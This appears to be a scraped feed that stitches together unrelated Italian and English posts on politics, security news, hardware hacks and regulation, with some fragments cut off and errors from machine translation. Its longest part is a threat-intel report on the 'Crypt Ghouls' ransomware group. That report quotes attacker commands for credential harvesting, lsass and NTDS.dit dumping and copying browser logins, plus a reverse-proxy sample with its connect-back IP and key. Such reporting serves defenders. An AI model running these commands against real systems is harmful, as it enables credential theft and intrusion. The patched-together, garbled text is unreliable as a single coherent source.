@Politica interna, europea e internazionale «No alla grande finanza internazionale!», gridava Giorgia Meloni nel famoso discorso di Marbella, sul palco del partito franchista Vox. Era il 14 giugno 2022 e la leader di Fratelli d’Italia poteva ancora permettersi i toni aggressivi della «underdog»
ESET ha negato le accuse secondo cui i suoi sistemi sarebbero stati compromessi dopo che lo specialista della sicurezza Kevin Beaumont ha rivelato una campagna malevola che sembrava essere effettuata utilizzando l’infrastruttura ESET.
Secondo il blog di Beaumont, uno dei dipendenti dell’azienda israeliana è rimasto vittima del malware dopo aver aperto un collegamento in un’e-mail presumibilmente inviata dal team ESET Advanced Threat Defense in Israele. L’email ha superato con successo i controlli DKIM e SPF per il dominio ESET, ma Google Workspace l’ha contrassegnata come pericolosa. L’attacco è stato registrato l’8 ottobre ed era mirato a specialisti della sicurezza informatica in Israele. Il file dannoso è stato distribuito attraverso i server di ESET, con i destinatari che venivano avvertiti che l’attacco era stato effettuato da un aggressore “sostenuto dallo Stato”. Le vittime sono state inoltre incoraggiate a prendere parte al programma ESET Unleashed, che in realtà non esiste come iniziativa separata, sebbene sia menzionato nel marchio dell’azienda.
Il ricercatore ha trovato diverse DLL ESET e un file setup.exe dannoso nel file scaricato. Beaumont ha descritto il programma come un falso virusransomware che imita il lavoro del famoso malware Yanluowang. Beaumont ha inoltre notato che i file sui dispositivi non possono essere recuperati perché si tratta di un Viper .
Durante l’esecuzione, il malware ha contattato anche un’organizzazione legata all’Iron Swords War Day, dedicato alla memoria delle vittime dell’attacco del 7 ottobre 2023. I fatti suggeriscono il possibile coinvolgimento di hacktivisti.
ESET ha negato la versione di Beaumont sull’hacking dell’ufficio israeliano dell’azienda. L’azienda ha sottolineato che l’incidente ha colpito un’organizzazione partner in Israele e che la campagna dannosa è stata bloccata in 10 minuti. ESET ha assicurato di aver bloccato con successo la minaccia e che i clienti sono al sicuro. La società ha inoltre confermato che sta collaborando con il proprio partner alle indagini e continua a monitorare la situazione. La fonte dell’attività dannosa non è stata ancora identificata, ma i metodi utilizzati nell’attacco sono simili alle tattiche del gruppo filo-palestinese Handala. I ricercatori di Trellix hanno precedentemente riferito che Handala sta utilizzando attivamente dei dropper per attaccare le organizzazioni israeliane, rilevando centinaia di incidenti nell’arco di diverse settimane nel mese di luglio.
Raccoon for Friendica (in effetti c’è anche un’app Raccon for Lemmy) è un’app sorprendente e, benché sia ancora in versione “beta” (il file di installazione può essere scaricato qui), sembra un’app completamente matura, ricca di innovazioni e, sorprendentemente, riesce addirittura a offrire qualcosa di completamente nuovo agli utenti Mastodon! Abbiamo deciso perciò di scrivere questo…
Raccoon, l’app Friendica che riserva sorprese anche per gli utenti Mastodon
#RaccoonForFriendica è l’app più completa mai vista finora per Friendica e, oltre a funzionare anche con Mastodon, potrebbe essere l’unica app al mondo in grado di gestire le potenzialità di Mastodon Glitch-soc
#RaccoonForFriendica è l'app più completa mai vista finora per Friendica e, oltre a funzionare anche con Mastodon, potrebbe essere l'unica app al mondo…
[quote]Le cronache recenti che giungono a noi soprattutto dall’Ucraina e dal Medio Oriente hanno permesso di delineare meglio il ruolo reale e concreto che lo spazio cibernetico assume nei moderni conflitti. In tal senso, appare evidente come emerga con chiarezza dall’ombra delle approssimazioni e degli hashtag sui social
Depending on who you ask, the big news this week is that quantum computing researchers out of China have broken RSA. And that’s true… sort of. There are multiple caveats, like the fact that this proof of concept is only factoring a 22-bit key. The minimum RSA size in use these days is 1024 bits. The other important note is that this wasn’t done on a general purpose quantum computer, but on a D-Wave quantum annealing machine.
First off, what is the difference between a general purpose and annealing quantum computer? Practically speaking, a quantum annealer can’t run Shor’s algorithm, the quantum algorithm that can factory large prime numbers in much sorter time than classical computers. While it’s pretty certain that this algorithm works from a mathematical perspective, it’s not at all clear that it will ever be possible to build effective quantum computers that can actually run it for the large numbers that are used in cryptography.
We’re going to vastly oversimplify the problem, and say that the challenge with general purpose quantum computing is that each q-bit is error prone, and the more q-bits a system has, the more errors it has. This error rate has proved to be a hard problem. The D-wave quantum annealing machine side-steps the issue by building a different sort of q-bits, that interact differently than in a general purpose quantum computer. The errors become much less of a problem, but you get a much less powerful primitive. And this is why annealing machines can’t run Shor’s algorithm.
The news this week is that researchers actually demonstrated a different technique on a D-wave machine that did actually factor an RSA key. From a research and engineering perspective, it is excellent work. But it doesn’t necessarily demonstrate the exponential speedup that would be required to break real-world RSA keys. To put it into perspective, you can literally crack a 22 bit RSA key by hand.
Zendesk Out of Scope
Here’s an example of two things. First off, a bug being out of scope for a bounty shouldn’t stop a researcher from working on a bug. Second, it’s worth being extra careful in how a bug bounty’s scope is set up, as sometimes bugs have unforeseen consequences. We’re talking here about Zendesk, a customer support tool and ticket manager. [Daniel] found an issue where an attacker could send an email to the support email address from a spoofed sender, and add an arbitrary email address to the ticket, gaining access to the entire ticket history.
Because the problem was related to email spoofing, and the Zendesk bounty program on HackerOne considers “SPF, DKIM, and DMARC” to be out of scope, the ticket was closed as “informative” and no bounty awarded. But [Daniel] wasn’t done. What interesting side effects could he find? How about triggering single sign on verification to go to the support email address? Since an Apple account can be used to sign on to slack, an attacker can create an apple account using the support email address, use the email spoof to get access to the created bug, and therefore the one-time code. Verify the account, and suddenly you have an Apple account at the target’s domain. [Daniel] used this to gain access to company Slack channels, but I’d guess this could be used for even more mayhem at some businesses.
Given that the original bug report was closed as “informational”, [Daniel] started reporting the bug to other companies that use Zendesk. And it paid off, netting more than $50,000 for the trouble. Zendesk never did pay a bounty on the find, but did ask [Daniel] to stop telling people about it.
Fortinet Fixed It
The good folks at Watchtowr Labs have the inside scoop on a recently fixed vulnerability in Fortinet’s FortiGate VPN appliance. It’s a good fix found internally by Fortinet, and gives us a good opportunity to talk about a class of vulnerability we haven’t ever covered. Namely, a format string vulnerability.
The printf() function and its siblings are wonderful things. You give it a string, and it prints it to standard output. You give it a string that contains a format specifier, like %s, and it will replace the specifier with the contents of a variable passed in as an additional argument. I write a lot of “printf debugging” code when trying to figure out a problem, that looks like printf("Processing %d bytes!\n", length);
What happens if the specifier doesn’t match the data type? Or if there is a specifier and no argument? You probably know the answer: Undefined behavior. Not great for device security. And in this case, it does lead to Remote Code Execution (RCE). The good news is that Fortinet found this internally, and the fix was quietly made available in February. The bad news is that attackers found it, and have since been actively using it in attacks.
Escape!
[ading2210] has the story of finding a pair of attack chains in Google Chrome/Chromium, where a malicious extension can access the chrome://policy page, and define a custom “browser” command to use when accessing specific pages. There are two separate vulnerabilities that can be used to pull off this trick. One is a race condition where disallowed JS code can run before it’s disabled after a page reload, and the other is a crash in the page inspector view. That’s not a page non-developers have a habit of visiting, so the browser extension just pulls a fast one on install, launching a simple page that claims that something went wrong, asking the user to press f12 to troubleshoot.
At this point, most of us rely on Linux for our routers and firewalls. Whether you realize it or not, it’s extremely likely that that little magical box that delivers Internet goodness to your devices is a Linux machine, running iptables as the firewall. And while iptables is excellent at its job, it does have its share of quirks. Researchers at Anvil have the low down on ESTABLISHED connection spoofing.
Iptables, when run on the boarder between networks, is often set to block incoming packets by default, and allow outgoing. The catch is that you probably want responses to your requests. To allow TCP connections to work both ways, it’s common to set iptables to allow ESTABLISHED connections as well. If the IP addresses and ports all match, the packet is treated as ESTABLISHED and allowed through. So what’s missing? Unless you explicitly request it, this firewall isn’t checking that the source port is the one you expected. Packets on one interface just might get matched to a connection on a different interface and passed through. That has some particularly interesting repercussions for guest networks and the like.
Bits and Bytes
On the topic of more secure Linux installs, [Shawn Chang] has thoughts on how to run a container more securely. The easy hint is to use Podman and run rootless containers. If you want even tighter protection, there are restrictions on system calls, selinux, and a few other tricks to think about.
Check the logs! That’s the first step to looking for a breach or infection, right? But what exactly are you looking for? The folks at Trunc have thoughts on this. The basic idea is to look for logins that don’t belong, IPs that shouldn’t be there, and other specific oddities. It’s a good checklist for trouble hunting.
And finally, the playlist from DEF CON 32 is available! Among the highlights are [Cory Doctorow] talking about the future of the Internet, [HD Moore] and [Rob King] talking about SSH, and lots lots more!
Nelle nuove campagne ClickFix, i truffatori attirano gli utenti su false pagine di Google Meet dove vengono mostrati falsi errori di connessione per diffondere malware che possono infettare i sistemi Windows e macOS.
ClickFix risale a maggio, quando Proofpoint ne ha segnalato per la prima volta l’utilizzo da parte del gruppo TA571. Gli attacchi hanno utilizzato falsi messaggi di errore in Google Chrome, Microsoft Word e OneDrive. Alle vittime è stato chiesto di incollare il codice nella riga di comando di PowerShell per risolvere il presunto problema, che ha portato all’infezione dei loro dispositivi. Malware come DarkGate, Matanbuchus, NetSupport, Amadey Loader, XMRig, Lumma Stealer e altri sono stati distribuiti attraverso questo metodo. Nel mese di luglio, McAfee ha riscontrato un aumento nella frequenza di questi attacchi, soprattutto negli Stati Uniti e in Giappone.
Secondo un nuovo rapporto di Sekoia, le tattiche di ClickFix sono recentemente cambiate, con gli aggressori che utilizzano falsi inviti di Google Meet e inviano e-mail di phishing mirate alle società di spedizione e logistica.
Nuovi trucchi includono pagine Facebook false e discussioni GitHub false. Sekoia collega anche le recenti campagne a due gruppi, Slavic Nation Empire (SNE) e Scamquerteo, che si ritiene facciano parte dei gruppi truffatori di criptovaluta Marko Polo e CryptoLove.
Gli attacchi tramite Google Meet sembrano particolarmente convincenti: gli aggressori inviano e-mail con link falsi che imitano quelli ufficiali:
incontra[.]google[.]noi-unisciti[.]com
incontra[.]google[.]web-join[.]com
incontra[.]googie[.]com-unisciti[.]a noi
Dopo aver visitato tali pagine, agli utenti viene mostrato un messaggio relativo a un presunto problema con il microfono o le cuffie. Un tentativo di “correggere” l’errore attiva lo script ClickFix standard: il codice PowerShell dannoso viene eseguito tramite la riga di comando, scaricando malware dal dominio “googiedrivers[.]com”.
Per i dispositivi Windows, viene scaricato Stealc o Rhadamanthys e su macOS, AMOS Stealer è installato nel formato “.DMG” chiamato “Launcher_v194“. Oltre a Google Meet, gli aggressori utilizzano anche altre piattaforme per distribuire malware, tra cui Zoom, falsi lettori PDF, videogiochi falsi e progetti web3.
@Notizie dall'Italia e dal mondo "Ho vissuto la mia Nakba personale e capisco perché migliaia di palestinesi sono fuggiti dalle loro case nel 1948. Ho preso la decisione più difficile della mia vita e ho lasciato Gaza, senza sapere che quello che portavo con me sarebbe stato tutto ciò che avrei mai
@Notizie dall'Italia e dal mondo Khalil Al Hayya ha confermato oggi la morte del leader, promettendo che Hamas continuerà a combattere fino al ritiro di Israele da Gaza L'articolo SINWAR. Hamas conferma la sua uccisione. Netanyahu: “L’offensiva a Gaza continua” proviene da Pagine
@Notizie dall'Italia e dal mondo La polizia federale brasiliana ha richiesto la cattura di decine di golpisti, vicini all'ex presidente Bolsonaro, che sono fuggiti in Argentina e in altri paesi L'articolo Il Brasile chiede all’Argentina l’estradizione di decine di golpisti proviene da Pagine Esteri.
These days, when something electronic breaks, most folks just throw it away and get a new one. But as hackers, we prefer to find out what the actual problem is and fix it. [Bonsembiante] took that very tack when a MOTU brand audio interface wasn’t booting. As it turns out, a bit of investigative work led to a simple and viable fix.
The previous owner had tried to get the unit fixed multiple times without success. When it ended up on [Bonsembiante]’s bench, reverse engineering was the order of the day. Based around an embedded Linux system, there was lots to poke and prod at inside, it’s just that… the system wasn’t booting, wasn’t showing up over USB or Ethernet, or doing much of anything at all.
Extracting the firmware only revealed that the firmware was actually valid, so that was a dead end. However, after some work following the boot process along in Ghidra, with some external help, the problem was revealed. Something was causing the valid firmware to fail the bootloader’s checks—and with that fixed, the unit booted. You’ll have to read the article to get the full juicy story—it’s worth it!
Last December, we discovered a new group targeting Russian businesses and government agencies with ransomware. Further investigation into this group’s activity suggests a connection to other groups currently targeting Russia. We have seen overlaps not only in indicators of compromise and tools, but also tactics, techniques, and procedures (TTPs). Moreover, the infrastructure partially overlaps across attacks.
The group under review has a toolkit that includes utilities such as Mimikatz, XenAllPasswordPro, PingCastle, Localtonet, resocks, AnyDesk, PsExec, and others. As the final payload, the group used the well-known ransomware LockBit 3.0 and Babuk. We have dubbed the group “Crypt Ghouls”.
Delivery and persistence
It was only in two of the group’s attacks that we were able to determine the initial access vector. The attackers used a contractor’s login information to connect to the victim’s internal systems via a VPN. The VPN connections were established from IP addresses associated with a Russian hosting provider’s network and a contractor’s network. Nowadays attackers are increasingly gaining initial access through their targets’ contractors. We suspect that contractors are compromised via VPN services or unpatched vulnerabilities.
To maintain access to the system, the attackers used the NSSM and Localtonet utilities. NSSM creates and manages services on a host, while Localtonet provides an encrypted tunnel for connecting to that host from an external network. Both utilities were downloaded directly from localtonet.com: hxxp://localtonet.com/nssm-2.24.zip hxxp://localtonet.com/download/localtonet-win-64.zip
Harvesting login credentials
XenAllPasswordPro
The attackers employed the XenAllPasswordPro tool to harvest a range of authentication data from the target system. cmd.exe /Q /c c:\programdata\allinone2023\XenAllPasswordPro.exe -a c:\programdata\report.html 1> \Windows\Temp\LNhkey 2>&1
cmd.exe /Q /c cmd /c rmdir /q /s c:\programdata\allinone2023 1> \Windows\Temp\HYirzI 2>&1 This utility and the path to it, “\allinone2023\”, are characteristic of this series of attacks. Following is a list of locations for XenAllPasswordPro that we have observed in various victim infrastructures.
The parent process for the commands above was wmiprvse.exe. Moreover, we found an Impacket artifact in command-line output. These are signs of using the Impacket WmiExec.py module:C:\Windows\System32\wbem\wmiprvse.exe In one Crypt Ghouls attack, we discovered a malicious CobInt backdoor loader. This is a telltale tool that allowed us to draw parallels with other campaigns. The CobInt downloader we encountered is a VBScript called Intellpui.vbs that executes obfuscated PowerShell code. This code, in turn, communicates with a C2 server to load the CobInt backdoor into memory. In other cases, hackers used RDP instead of WMI. c:\windows\system32\rdpclip.exe c:\programdata\1c\allinone2023\xenallpasswordpro.exe -a c:\programdata\1c\2c.txt Additionally, we noticed that in certain attacks, the HKLM\SECURITY registry hive was being saved to a temporary folder. The hive stores the host’s security policies and the secrets managed by the Local Security Authority.C:\Windows\System32\svchost.exe -k localService -p -s RemoteRegistry
RegSaveKey("$hklm\security","$temp\kjzcehld.tmp")
Mimikatz
We detected the use of the Mimikatz utility in some of the investigated attacks. One case involved injection of malicious code from the utility into the memory of the rundll32.exe process. In another, a Mimikatz command was used to dump the memory of the lsass.exe process. This holds various login details of authenticated users:sekurlsa::minidump lsass.dmp In this way, attackers used Mimikatz to extract victims’ credentials.
dumper.ps1
Crypt Ghouls ran an open-source PowerShell script that allowed them to dump Kerberos tickets from the LSA cache. The attackers renamed it to disguise it as a Group Policy script. .\gpo_compliance.ps1
MiniDump Tool
MiniDump Tool is a utility designed to create a memory dump of a specified process. It helped Crypt Ghouls to extract login credentials from the memory of lsass.exe. The attackers initiated this by running the following command:T.exe [lsass_pid] [lsass_pid]The first argument is the process ID (PID). The second argument is the file name and directory to save the dump of the selected process to.
The MiniDump Tool creates a driver at the following path: C:\Users\[username]\AppData\Local\Temp\kxxxxxxx.sys Next, it runs the driver and passes to it a control code to read the memory of the process whose identifier is specified as the first argument, then it saves the dump in the system, in this case — in a file in the current directory while using the process ID as its name.
Login credentials from browsers
Crypt Ghouls also copied files containing credentials stored in browsers to a temporary directory: cmd.exe /Q /c copy "C:\Users\[username]\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Windows\Temp\1713909129.8364425"
cmd.exe /Q /c copy "C:\Users\[username]\AppData\Local\Microsoft\Edge\User Data\Default\Login Data" "C:\Windows\Temp\1713909181.5850394" The commands on the hosts were run via WMI.
The attackers then used PowerShell to request a list of local users: c:\windows\system32\wbem\wmiprvse.exe > cmd.exe /Q /c powershell.exe "Get-LocalUser | Select name" 1> \Windows\Temp\qnLJbp 2>&1"
NTDS.dit dump
Crypt Ghouls connected to the domain controller with compromised credentials via WMI. After establishing the connection, they tried to save the NTDS.dit dump. The attackers leveraged an existing scheduler task to obtain the dump. They modified the task four times. First, they obtained the NTDS.dit dump with the Ntdsutil utility. Then they archived the folder containing the dump and deleted the folder. The final change to the scheduler task restored its original value.powershell.exe out-file -inputobject (ntdsutil.exe 'ac i ntds' 'ifm' 'create full c:\programdata\activedirectory' q q) -encoding utf8 - filepath c:\programdata\microsoft\vault\dabbf27c-37ef-9946-a3d3- 7aaaebce7577
powershell.exe out-file -inputobject (cmd /c rmdir /q /s c:\programdata\activedirectory) - encoding utf8 -filepath c:\programdata\microsoft\vault\a5ad25f1-f569-6247-0722- ad6fe54e350f The 7-Zip utility was also downloaded from GitHub: github.com/ip7z/7zip/releases/… However, we did not detect any further data exfiltration after the archiving.
Network reconnaissance and spread
Crypt Ghouls used the PingCastle utility (MD5: F4A84D6F1CAF0875B50135423D04139F) to collect information about the infrastructure of the domain they resided in. Additionally, the attackers periodically scanned the network using the legitimate utility SoftPerfect Network Scanner to identify open ports and network shares.
As we mentioned above, the attackers used the WmiExec.py Impacket module for network navigation. We found that two of the targets had PAExec, a remote command tool, running on their systems at some point:c:\windows\paexec-[xxxxx]-[source_host_redacted].exe -service cmd
Infrastructure
Crypt Ghouls uses several remote access utilities. AnyDesk was the most commonly used tool according to our research, but the attackers employed a variety of other methods as well. The table below presents the names of the utilities and the directories where they were found.
Name
Directory
AnyDesk
C:\Users\[redacted]\Downloads\AnyDesk.exe
Localtonet
C:\Windows\Temp\localtonet.exe
resocks
/usr/sbin/xfs-modules
The IP addresses used for remote connections to AnyDesk and Localtonet belonged to a Surfshark VPN subnet.
Resocks is a reverse SOCKS5 proxy for tunneling traffic. While investigating this group’s activity, we found a proxy sample that was configured to use the IP address 91.142.73[.]178, which is part of the hosting provider VDSina’s network.
Below are the notable parameters of the resocks sample, which provide additional context for the research: -X main.defaultConnectBackAddress=91.142.73[.]178 -X main.defaultConnectionKey=CzKDvHM8UGE/QtjuF2SSkJzaVmRpjNipdWlbTzFry6o
DLL sideloading
The malicious actor used the DLL sideloading technique by placing a legitimate Windows installer management application, dism.exe, and a malicious loader, dismcore.dll, in the same folder: c:\ProgramData\oracle\. The dismcore.dll loader attempted to locate the file odbcconf.xml, which contained the payload, but we were unable to retrieve that file.
File encryption
The attackers encrypted data with publicly available versions of the popular LockBit 3.0 (for Windows systems) and Babuk (for Linux) malware. The LockBit sample we analyzed was configured with commands to encrypt local drives, terminate specific processes and services, disable Windows Defender, and delete event logs. The ransomware added system directories, as well as a folder named intel where the attackers loaded tools to harvest credentials, to the encryption exclusions list. A snippet of the LockBit 3.0 sample’s configuration
We noticed something strange about how a victim’s files were encrypted. First, LockBit encrypted files with specific extensions, as defined in its sample configuration. These are the files that the attackers may find most valuable. Besides these, the malware encrypts files in the recycle bin while inserting random characters in these. Beyond the primary algorithm, we found a cycle that systematically renamed the original file in the recycle bin. This process iterated through every letter of the English alphabet, continuing until it reached the last one. This type of encryption makes it really hard, or even impossible, to recover the user’s files.
The file renaming cycle
Below is an example of how this appears in logs: File Renamed c:\$recycle.bin\[redacted]\desktop.ini c:\$recycle.bin\[redacted]\aaaaaaaaaaa File Renamed c:\$recycle.bin\[redacted]\aaaaaaaaaaa c:\$recycle.bin\[redacted]\bbbbbbbbbbb File Renamed c:\$recycle.bin\[redacted]\bbbbbbbbbbb c:\$recycle.bin\[redacted]\ccccccccccc File Renamed c:\$recycle.bin\[redacted]\ccccccccccc c:\$recycle.bin\[redacted]\ddddddddddd The algorithm then attempts to delete the last version of c:\$recycle.bin\[redacted]\zzzzzzzzzzz.
The attackers leave a ransom note with a link containing their ID in the Session messaging service for future contact:
A LockBit 3.0 ransom note
Session supports end-to-end encryption, which minimizes the risk of data breaches. The developers claim their messaging service is built to guarantee complete privacy. Session has been used by other ransomware groups, such as GhostLocker, SEXi, and MorLock, in their attacks.
Additionally, attackers targeted ESXi servers with the Babuk ransomware. They would connect to the ESXi server via SSH, upload Babuk, and initiate the encryption process for the files within the virtual machines: /tmp/lock.out "/vmfs/volumes/[redacted]" We believe the goal of the attackers was to disrupt the targeted organizations’ operations, besides financial gain.
Links to other groups
We are seeing a lot of overlap in the tools and techniques used by cybercriminals targeting Russian businesses and government agencies. Below, we outline the key similarities we found in attacks by different groups.
MorLock
MorLock activities, as investigated by F.A.C.C.T., shares many features with several of the attacks we analyzed for this report. The groups share most of the tools they use: SoftPerfect Network Scanner, XenAllPasswordPro, AnyDesk, PingCastle, Localtonet, NSSM, resocks, LockBit 3.0, and Babuk.
The file and folder names used in attacks by both groups also show similarities. Thus we found a resocks utility named “xfs-healthcheck”, a name that follows the same template as the resocks names on the list of indicators published by F.A.C.C.T.: [xxx]-healthcheck. We noticed a further similarity when studying the XenAllPasswordPro utility: in MorLock attacks, it was located in a directory named “allinone2023”.
Furthermore, we checked the MorLock infrastructure as reported by F.A.C.C.T., only to find that the group also used Surfshark VPN and the VDSina hosting services provider.
BlackJack
While investigating the utilities used in Crypt Ghouls attacks, we found an overlap with the toolkit employed by the BlackJack group, which also used XenAllPasswordPro. This caught our attention, as XenAllPasswordPro is not the most popular tool among cybercriminals despite being freely available.
Twelve
We have seen XenAllPasswordPro used in attacks by Twelve too. Furthermore, we discovered Intellpui.vbs, a loader for CobInt, also used by Twelve, on one of the systems attacked by Crypt Ghouls.
Shedding Zmiy
Shedding Zmiy is a group associated with the (Ex)Cobalt activity cluster. We found a further overlap in a report by Solar 4RAYS on this group-related incidents, namely the use of DLL sideloading with the dismcore.dll malicious loader. The report mentioned other familiar utilities and malware: resocks, SoftPerfect Network Scanner, and CobInt. In addition, Shedding Zmiy used VDSina to host its command-and-control servers. The similarities between the groups described above led to the conclusion that these attacks overlap with the activity of Crypt Ghouls. Our analysis of cybercriminal tools and tactics suggests that different groups may be collaborating, sharing resources, or exchanging intelligence. Other vendors have found evidence of the (Ex)Cobalt cluster members participating in these groups’ activities, and our analysis confirms this. Right now, we cannot say for sure that these campaigns are connected, but we anticipate their number will increase further. We will continue to monitor activity targeting Russian organizations.
Victims
Russian government agencies as well as mining, energy, finance, and retail companies have fallen victim to the Crypt Ghouls group.
Conclusion
Crypt Ghouls is another group attacking Russia. Cybercriminals are leveraging compromised credentials, often belonging to subcontractors, and popular open-source tools. These include modified configurations of the LockBit 3.0 and Babuk ransomware, whose builders and source code are publicly available. As the number of attackers using leaked builds increases, identifying the perpetrators of threats becomes increasingly difficult. The shared toolkit used in attacks on Russia makes it challenging to pinpoint the specific hacktivist groups involved. In the attacks carried out by the Crypt Ghouls, we have identified components of infrastructure and a variety of popular tools that are also used by many other groups. This suggests that the current actors are not only sharing knowledge but also their toolkits. All of this only makes it more difficult to identify specific malicious actors behind the wave of attacks directed at Russian organizations.
Indicators of compromise
Note: Network addresses specified in this section are valid at the time of publishing, but may change over time.
Some inventions are so simple that it’s hard to improve them. The magnetic compass is a great example — a magnetized needle, a bit of cork, and a bowl of water are all you need to start navigating the globe. So why in the world would you want to over-complicate things with something like this Earth inductor compass? Just because it’s cool, of course.
Now, the thing with complication is that it’s often instructive. The simplicity of the magnetic compass masks the theory behind its operation to some degree and completely fails to deliver any quantitative data on the Earth’s magnetic field. [tsbrownie]’s gadget is built from a pair of electric motors, one intact and one stripped of its permanent magnet stators. The two are mounted on a 3D printed frame and coupled by a long shaft made of brass, to magnetically isolate them as much as possible. The motor is powered by a DC supply while a digital ammeter is attached to the terminals on the stator.
When the motor spins, the stator at the other end of the shaft cuts the Earth’s magnetic lines of force and generates a current, which is displayed on the ammeter. How much current is generated depends on how the assembly is oriented. In the video below, [tsbrownie] shows that the current nulls out when oriented along the east-west axis, and reaches a maximum along north-south. It’s not much current — about 35 microamps — but it’s enough to get a solid reading.
Is this a practical substitute for a magnetic compass? Perhaps not for most use cases, but a wind-powered version of this guided [Charles Lindbergh]’s Spirit of St. Louis across the Atlantic in 1927 with an error of only about 10 miles over the trip, so there’s that. Other aircraft compasses take different approaches to the problem of nulling out the magnetic field of the plane.
youtube.com/embed/ikC4PPTIxJM?… Video istituzionale NIS2 – ACN Dal 16 ottobre 2024 è entrata in vigore la nuova normativa italiana sulla Network and Information Security (NIS). L’Agenzia per la cybersicurezza nazionale è l’Autorità competente per l’applicazione della NIS e punto di contatto unico, delineando un percorso graduale e sostenibile per consentire alle organizzazioni pubbliche e private di adempiere ai nuovi obblighi di legge.
Aumentano i campi di applicazione della normativa. I settori interessati diventano 18, di cui 11 altamente critici e 7 critici, coinvolgendo oltre 80 tipologie di soggetti, distinguendoli tra essenziali e importanti in relazione al livello di criticità delle attività svolte e del settore in cui operano. Quindi, maggiori obblighi per le misure di sicurezza e per la notifica degli incidenti e più potere di supervisione all’Agenzia e agli organi preposti alla risposta agli incidenti e alla gestione della crisi.
Sono previsti anche nuovi strumenti per la sicurezza informatica, come la divulgazione coordinata delle vulnerabilità, da realizzarsi attraverso la cooperazione e la condivisione delle informazioni a livello nazionale ed europeo.
Il percorso di attuazione L’adeguamento alla normativa NIS prevede un percorso sostenibile con una graduale implementazione degli obblighi.
Il primo passo, per i soggetti interessati, è quello di registrarsi al portale di ACN. C’è tempo dal 1° dicembre 2024 fino al 28 febbraio 2025 per le medie e grandi imprese e, in alcuni casi, anche per le piccole e le microimprese. Per agevolare il recepimento degli obblighi di notifica di incidente e delle misure di sicurezza, gli stessi verranno definiti in maniera progressiva e a valle delle consultazioni nell’ambito dei tavoli settoriali in seguito alle determine del Direttore Generale di ACN che saranno adottate entro il primo quadrimestre del 2025.
È prevista, inoltre, una finestra temporale di implementazione differenziata: 9 mesi per le notifiche e 18 mesi per le misure di sicurezza, decorrenti dalla data di consolidamento dell’elenco dei soggetti NIS (fine marzo 2025). Da aprile 2025 partirà quindi un percorso condiviso di rafforzamento della sicurezza informatica nazionale ed europea.
Mercoledì 16 ottobre, la Cyber Security Association of China (CSAC) ha pubblicato un articolo sul suo account ufficiale WeChat, denunciando quattro principali rischi informatici associati ai prodotti Intel. Tra queste vulnerabilità ci sono problemi di sicurezza frequenti, una scarsa reattività alle segnalazioni degli utenti, un monitoraggio degli utenti sotto il pretesto della gestione remota e la presenza di backdoor che minacciano la sicurezza della rete.
Il CSAC ha richiamato l’attenzione su vulnerabilità note, come quelle identificate con il nome “Downfall“ nel 2022 e nel 2023, che possono essere sfruttate dagli hacker per accedere a informazioni sensibili. Ha criticato Intel per continuare a vendere prodotti nonostante la consapevolezza di tali problemi e per la sua lenta risposta ai reclami degli utenti.
Inoltre, l’associazione ha accusato Intel di aver collaborato con Hewlett-Packard e altri produttori nella creazione di una specifica tecnica IPMI (Intelligent Platform Management Interface), utilizzata per monitorare i server, ma che presenta significativi rischi per la sicurezza a causa della sua funzione di monitoraggio remoto.
La CSAC ha evidenziato che una parte significativa del fatturato annuale di Intel, che supera i 50 miliardi di dollari, proviene dal mercato cinese. Ha messo in discussione l’impegno di Intel nei confronti della Cina, accusandola di danneggiare gli interessi nazionali cinesi e ha invitato le autorità cinesi a condurre un’analisi della sicurezza dei prodotti Intel per proteggere i diritti dei consumatori.
L’articolo ha anche menzionato il “Chip and Science Act” degli Stati Uniti, sostenendo che Intel ne è il principale beneficiario e che il provvedimento ha come obiettivo quello di escludere l’industria cinese dei semiconduttori, aggravando le tensioni tra le due potenze.
Rispondendo alle critiche, un portavoce di Intel ha sottolineato l’importanza della sicurezza per l’azienda e il suo impegno a collaborare con le autorità competenti. In un contesto di crescente rivalità tecnologica tra Stati Uniti e Cina, gli analisti ritengono che la posizione del CSAC potrebbe presagire un’indagine ufficiale da parte della Cyberspace Administration of China su Intel, simile a quella condotta l’anno scorso su Micron Technology.
Changelog: 🦝 fix: avoid crash in HTML rendering; 🦝 fix: text color for direct message conversation title; 🦝 fix: avoid dismissing bottom sheets on long press; 🦝 fix: avoid videos from being stretched out of viewport; 🦝 fix: avoid attachment loss when editing an existing post; 🦝 feat: add support for Markdown and conditional markup; 🦝 enhancement: add warning if alt text is missing in attachments; 🦝 enhancement: improve profile opening in links; 🦝 fix: create post with images and delete images from posts on Mastodon; 🦝 fix: avoid bug which prevented draft creation; 🦝 chore: add more unit tests; 🦝 feat: add possibility to copy post content to clipboard.
Ah, the Sinclair ZX Spectrum. A popular computer in Britain and beyond, but now rather thin on the ground. If you can’t find one, fear not, for now—you can apparently build a new one with new parts! [TME Retro] is here to demonstrate how.
Before you get excited, no—Sinclair has not risen from the dead. Instead, it’s simply down to the state of the retrocomputing community. There are enough reproduction parts and components out there for the ZX Spectrum that it’s now possible to assemble the whole computer from new bits. You can get new cases and new mechanical keyboards, and a 100% compatible motherboard in the form of the Harlequin board. The latter even reproduces the unobtainable Spectrum ULA glue logic chip in raw logic!
It’s neat to see the ZX Spectrum live on decades after the production lines ground to a halt. We’ve seen similar feats achieved with the legendary Commodore 64; you’d think we had enough of them given they were the best-selling computer of all time. Video after the break.
Kubernetes ha risolto una vulnerabilità critica che poteva consentire l’accesso SSH non autorizzato a una macchina virtuale che esegue un’immagine creata con Kubernetes Image Builder.
Con Kubernetes Image Builder, gli utenti possono creare immagini di macchine virtuali (VM) per vari provider API di cluster (CAPI), come Proxmox o Nutanix, che vengono eseguiti in un ambiente Kubernetes. Queste VM vengono poi utilizzate per creare nodi (server) che diventano parte del cluster Kubernetes.
Secondo il bollettino sulla sicurezza pubblicato, il bug critico ha ricevuto l’identificatore CVE-2024-9486 (punteggio CVSS 9.8) e colpisce le immagini VM create utilizzando Proxmox su Image Builder versione 0.1.37 o precedente.
L’essenza del bug è banale e risiede nell’uso delle credenziali predefinite, che sono attive durante il processo di creazione dell’immagine, ma non vengono disabilitate successivamente. Un utente malintenzionato consapevole del problema potrebbe connettersi tramite SSH e utilizzare le credenziali predefinite per ottenere l’accesso root alle macchine virtuali interessate.
Va notato che la vulnerabilità appare anche per le immagini create utilizzando Nutanix, OVA, QEMU, tuttavia in questi casi la vulnerabilità è considerata meno grave, poiché lo sfruttamento riuscito richiederà una serie di condizioni aggiuntive e lo sfruttamento è possibile solo durante l’assemblaggio. In questo caso, il bug viene tracciato come CVE-2024-9594 (punteggio CVSS 6.3).
